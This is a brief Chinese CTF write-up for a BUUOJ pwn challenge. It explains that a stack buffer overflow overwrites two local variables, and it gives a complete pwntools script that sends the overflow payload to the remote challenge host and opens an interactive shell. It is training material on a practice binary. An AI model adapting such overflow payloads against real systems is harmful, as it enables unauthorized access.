查看程序保护
IDA打开查看程序流
读入buf的内容会覆盖v7和v8的值,那么控制v7=0x7FFFFFFFFFFFFFFF和v8=0.1,即可获得shell
这里v8的二进制值可以直接在程序里找到
或者在网站http://www.binaryconvert.com/convert_double.html 输入0.1也可获得
完整ex
from pwn import *
context(log_level='debug')
#io=process("./task_gettingStart_ktQeERc")
io=remote("node3.buuoj.cn",29872)
io.recv()
v7=0x7FFFFFFFFFFFFFFF
v8=0x3FB999999999999A
payload=b'A'*0x18+p64(v7)+p64(v8)
io.send(payload)
io.recv()
io.interactive()